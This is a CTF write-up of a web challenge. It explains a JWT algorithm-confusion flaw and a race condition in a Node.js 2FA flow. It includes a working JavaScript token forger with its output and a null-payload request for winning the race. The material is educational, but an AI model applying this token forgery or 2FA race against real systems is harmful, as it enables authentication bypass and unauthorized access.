0%

JWTAlgConfusionand2FABypassviaRaceCondition

Omar Mohamed
Thanks for sharing!

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

JWT Alg Confusion and 2FA Bypass via Race Condition
Well hello and welcome back to another new Write-Up. This time I was playing solo on "NextGen Defence CTF 2025", it had some pretty interesting challenges. Managed to get 4 out of 8 in Web category. In this write-up, I will walk you through one of them.
Before we start make sure to give it a shot yourself, you can find the challenge here. Let's get started.

JWT

When you open the source code, you will get 2 files: index.js & customcrypto.js. Let's start by looking at customcrypto.js:
Note: I will not put the whole code here due to its length, just the important parts. You can download the full challenge from the link above.
This file main purpose is basically generating a JWT token and verifying it.
The interesting part is it checks the algorithm used in the token and acts accordingly:
Dynamic JWT Verification
In these situation if we can get the public key used to validate the token, we can forge our own token and bypass the verification. This is called JWT Algorithm Confusion.

JWT Algorithm Confusion

There are these 2 main types of algorithms used in JWT: HS256 & RS256.
RS256 is an asymmetric algorithm, which means it uses a public/private key pair. The server has both keys.
  • Priavate Key -> used for signing the JWT token
  • Public Key -> used to verify the JWT token
Normally if the public key is available for us, we can't do much, because we don't have the private key to sign our own token.

On the other hand, HS256 is a symmetric algorithm, which means it uses a single key for both signing and verifying the JWT token.
And here the problem arises. We can forge our own token and sign it with the same key used by the server to verify it.
We have 2 conditions:
  • The server is not checking the algorithm used in the token and simply verifies based on it.
  • We have the public key.

Main Application

Now let's look at the index.js file! When you first open it, you will find the public key waiting for you:
javascript
const PublicKey =
  "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyMbEOh9WDHgfi4JM6qbYbGnOddHNq2OyPwR4Oe4GlHd3Qmuaim/9DRpEvqKhIzNlspSv59vgm79AEIJ5QvNlCQ==";
And here you have it, your first vulnerability, let's continue and see how we can use it.
To sum things up, we have an admin object and the following end points:
End Points
Admin Object
In /register end point we can register a new user which add a new object to the database, I suspected Proto Type Pollution here, but it had a white list and used Object.freeze(Object.prototype); at the top to prevent it.
In /login end point we have no thing special, just a simple login that returns a JWT token with your id in the token payload (data).
Now to /2fa end point:
javascript
app.post("/2fa", async (req, res) => {
  const token = req.cookies.session ?? "";

  // ===> Validates your token
  let decodedToken = "";
  try {
    decodedToken = await decodeJWT(token, PublicKey);
  } catch (e) {
    res.json({ message: "Error: Unauthorized" });
    return;
  }

  // ===> Validates that your token has the admin id
  if (database.admin.id != decodedToken.id) {
    res.json({ message: "no permission" });
    return;
  }

  // ===> Generates the 2FA and saves it into a file
  const keyStorageFile = await fs.promises.open(keyStorage, "w");
  let newKey = await GenerateRandomStringSecurely();

  if (new URL(database.admin.emailServiceURL).hostname !== "localhost") {
    res.json({ message: "Email Service validation failed" });
    return;
  }
  await fetch(database.admin.emailServiceURL, {
    method: "POST",
    body: JSON.stringify({
      "2fa_code": newKey,
    }),
    headers: { "Content-Type": "application/json" },
  });
  await keyStorageFile.write(newKey);
  await keyStorageFile.close();
  res.json({ message: "2FA Code is Sent" });
  return;
});
It validates your token and checks if you have the admin id.
Notice that we can use the JWT Algorithm Confusion vulnerability here to bypass the admin id validation.
It also sends the 2FA code to emailServiceURL, could it have a SSRF vulnerability to leak the code?
Let's check /validate end point:
javascript
app.post("/validate", async (req, res) => {
  const token = req.cookies.session ?? "";
  let data = "";

  // ===> Validates your token
  try {
    data = await decodeJWT(token, PublicKey);
  } catch (e) {
    res.json({ message: "Error: Unauthorized" });
    return;
  }

  // ===> Validates that your token has the admin id
  if (database.admin.id != data.id) {
    res.json({ message: "Error: Missing permissions" });
    return;
  }

  // ===> Validates the 2FA code
  try {
    const { data } = req.body;
    const key = await fs.promises.readFile(keyStorage);

    await fs.promises.unlink(keyStorage);

    keyStorage = crypto.randomBytes(10).toString("hex");

    if (data == key) {
      res.json({ flag: FLAG });
      return;
    } else {
      res.json({ message: "Error: Invalid token" });
      return;
    }
  } catch (e) {
    res.json({ message: "Internal Error" });
    return;
  }
});
Here is also validates your token and checks if you have the admin id. And as you can see, we will retrieve the flag if we have the correct 2FA code (which is being read from a file - this is important). So How can we get it?

The SSRF that I mentioned earlier won't work, and here is why:
The only place I can add my own controlled URL is when I register. emailServiceURL is in the white list:
javascript
const whitelist = [
  "username",
  "password",
  "isEmailVerified",
  "emailServiceURL",
];
But the issue here that I would have to use my own token (which has another id than the admin's) in order to make the server use this controlled URL, but as you can see down there, it checks for the admin id before it sends the 2FA code, so we have to figure out another way.
javascript
// ===> Validates that your token has the admin id
if (database.admin.id != decodedToken.id) {
  res.json({ message: "no permission" });
  return;
}

Race Condition

Whenever you see something that takes time (e.g. database queries, file operations, etc.) in a web application, you should think of Race Condition.
Race Condition simply happens when two or more actions try to happen at the same time, and one may depend on another, causing unexpected results.
Let's take a look at the /2fa end point again especially the part where it makes the file:
javascript
// ===> opens the file
const keyStorageFile = await fs.promises.open(keyStorage, "w");
// ===> generates a random string
let newKey = await GenerateRandomStringSecurely();

// ===> Validates the emailServiceURL
if (new URL(database.admin.emailServiceURL).hostname !== "localhost") {
  res.json({ message: "Email Service validation failed" });
  return;
}
// ===> Sends the 2FA code to the emailServiceURL
await fetch(database.admin.emailServiceURL, {
  method: "POST",
  body: JSON.stringify({
    "2fa_code": newKey,
  }),
  headers: { "Content-Type": "application/json" },
});
// ===> writes the 2FA code to the file
await keyStorageFile.write(newKey);
// ===> closes the file
await keyStorageFile.close();
res.json({ message: "2FA Code is Sent" });
return;
Let's break it down:
  • It opens a file.
  • Generates a random string.
  • Validates the emailServiceURL.
  • Sends the 2FA code to the emailServiceURL.
  • Writes the 2FA code to the file.
  • Closes the file.
Notice that the file is opened, then some operations occur, during this time the file is empty, which means the value inside it is null in this short period of time.
Remember that the 2FA is being read from a file up there in /validate end point? here is the corressponding part:
javascript
const key = await fs.promises.readFile(keyStorage);
...
if (data == key) {
    res.json({ flag: FLAG });
...
So if we can send null payload to /validate end point in the same time that the file is opened but not yet written, we can bypass the 2FA validation.
And that's our solution! Now Let's start the exploitation.

Exploitation

First Let's forge our own token with the HS256 algorithm:
javascript
const crypto = require("crypto");
const base64url = require("base64url");

const publicKeyBase64 =
  "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyMbEOh9WDHgfi4JM6qbYbGnOddHNq2OyPwR4Oe4GlHd3Qmuaim/9DRpEvqKhIzNlspSv59vgm79AEIJ5QvNlCQ==";
const header = { alg: "HS256", typ: "JWT" };
const payload = { id: "83170defdfedaebff2ca739d725294c7" };

const encodedHeader = base64url(JSON.stringify(header));
const encodedPayload = base64url(JSON.stringify(payload));
const signatureInput = `${encodedHeader}.${encodedPayload}`;

const hmac = crypto.createHmac("sha256", publicKeyBase64);
hmac.update(signatureInput);
const signature = base64url(hmac.digest());

const forgedToken = `${encodedHeader}.${encodedPayload}.${signature}`;
console.log(forgedToken);
output:
jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjgzMTcwZGVmZGZlZGFlYmZmMmNhNzM5ZDcyNTI5NGM3In0.8UxBqGSqiGghrBlTQ_3UmR6_ahB9pl0rG3YjK_KtETo
Now simply send a POST request to /2fa end point and /validate end point right after each other using burp tab group feature (I won't include it here to keep it short, you can simply look it up)
The second request to /validate will have null payload as follows:
json
{
  "data": null
}
Note: It might not work from the first time, but keep trying and you will get it evantually.
That concludes it! It was a solid 3:30 hours writing this write-up 🥀, hope you enjoyed it. If you have any questions or feedback, feel free to reach out to me on X | Twitter.
Happy Hacking! 🚀

You might also like